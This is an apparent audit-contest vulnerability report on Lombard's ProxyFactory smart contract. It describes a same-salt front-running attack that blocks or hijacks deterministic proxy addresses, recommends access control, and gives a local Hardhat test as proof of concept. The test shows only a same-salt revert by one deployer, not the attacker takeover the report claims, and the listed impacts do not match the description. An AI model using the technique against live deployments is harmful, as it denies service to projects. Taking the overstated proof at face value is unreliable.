#38066 [SC-Medium] `ProxyFactory` is vulnerable to DoS/Address Hijacking
Submitted on Dec 23rd 2024 at 17:36:14 UTC by @holydevoti0n for Audit Comp | Lombard
Report ID: #38066
Report Type: Smart Contract
Report severity: Medium
Target: https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/factory/ProxyFactory.sol
Impacts:
Block stuffing
Unbounded gas consumption
Description
Vulnerability Details
An attacker can front-run the createTransparentProxy
call with the same salt
but different constructor parameters (e.g., a different admin
). This lets them deploy first and take the same final address the user intended to use. Once deployed, the address is no longer available to the legitimate user, causing denial of service or address hijacking.
contract ProxyFactory {
function createTransparentProxy(
address implementation,
address admin,
bytes memory data,
bytes32 salt
) public returns (address) {
bytes memory bytecode = abi.encodePacked(
type(TransparentUpgradeableProxy).creationCode,
abi.encode(implementation, admin, data)
);
@> address proxy = CREATE3.deploy(salt, bytecode, 0);
return proxy;
}
}
The main issue here is the following:
The factory is fully open; anyone can call it without restrictions. Deterministic deployment here depends only on (factoryAddress, salt, fixedProxyBytecode), not on constructor arguments. Using the same salt will always yield the same final address.
Thus, an attacker can prevent valid deployments or forcibly take over a deterministic address.
It could be worse if those contracts are somehow used/listed as the deployed addresses where it would lead users/governance to interact with.
Impact Details
DoS of contract's deployment through
ProxyFactory
.Potential loss of funds if users/governance/devs interact with the contract.
Recommendation
Implement an access control modifier on createTransparentProxy
.
Proof of Concept
Create a file called ProxyFactoryDos.ts
inside the test
folder.
Paste the code below and run: npx hardhat test test/ProxyFactoryDoS.ts
import { HardhatEthersSigner } from '@nomicfoundation/hardhat-ethers/signers';
import { ProxyFactory, LBTC, WBTCMock } from '../typechain-types';
import { ethers } from 'hardhat';
import { expect } from 'chai';
import { takeSnapshot } from '@nomicfoundation/hardhat-network-helpers';
describe('ProxyFactory DoS', () => {
let proxyFactory: ProxyFactory;
let lbtcImplementation: LBTC;
let wbtcMockImplementation: WBTCMock;
let deployer: HardhatEthersSigner;
before(async () => {
[deployer] = await ethers.getSigners();
let factory = await ethers.getContractFactory('ProxyFactory');
let contract = (await factory.deploy()) as ProxyFactory;
await contract.waitForDeployment();
proxyFactory = factory.attach(
await contract.getAddress()
) as ProxyFactory;
const lbtcFactory = await ethers.getContractFactory('LBTC');
lbtcImplementation = (await lbtcFactory.deploy()) as LBTC;
await lbtcImplementation.waitForDeployment();
const wbtcMockFactory = await ethers.getContractFactory('WBTCMock');
wbtcMockImplementation = (await wbtcMockFactory.deploy()) as WBTCMock;
await wbtcMockImplementation.waitForDeployment();
});
it('Same salt yields the same final address even with different constructor parameters', async () => {
const salt = ethers.keccak256('0x1234');
// 1) Deploy LBTC with this salt
const dataLBTC = lbtcImplementation.interface.encodeFunctionData(
'initialize',
[deployer.address, 0, deployer.address, deployer.address]
);
await proxyFactory.createTransparentProxy(
await lbtcImplementation.getAddress(),
deployer.address,
dataLBTC,
salt
);
const proxyAddressLBTC = await proxyFactory.getDeployed(salt);
const lbtc = await ethers.getContractAt('LBTC', proxyAddressLBTC);
expect(await lbtc.name()).to.equal('Lombard Staked Bitcoin');
// Take snapshot AFTER deploying LBTC
const snapshot = await takeSnapshot();
// 2) Revert to the snapshot so LBTC is still deployed
await snapshot.restore();
// Now attempt to deploy WBTC with the same salt
const dataWBTC = wbtcMockImplementation.interface.encodeFunctionData('initialize', []);
// Properly test revert:
await expect(
proxyFactory.createTransparentProxy(
await wbtcMockImplementation.getAddress(),
deployer.address,
dataWBTC,
salt
)
).to.be.revertedWith('DEPLOYMENT_FAILED');
});
});
Output:
ProxyFactory DoS
✔ Same salt yields the same final address even with different constructor parameters
1 passing (192ms)
Here we proof that the attacker front-run the transaction and created a proxy with the same address using a different implementation.
Last updated
Was this helpful?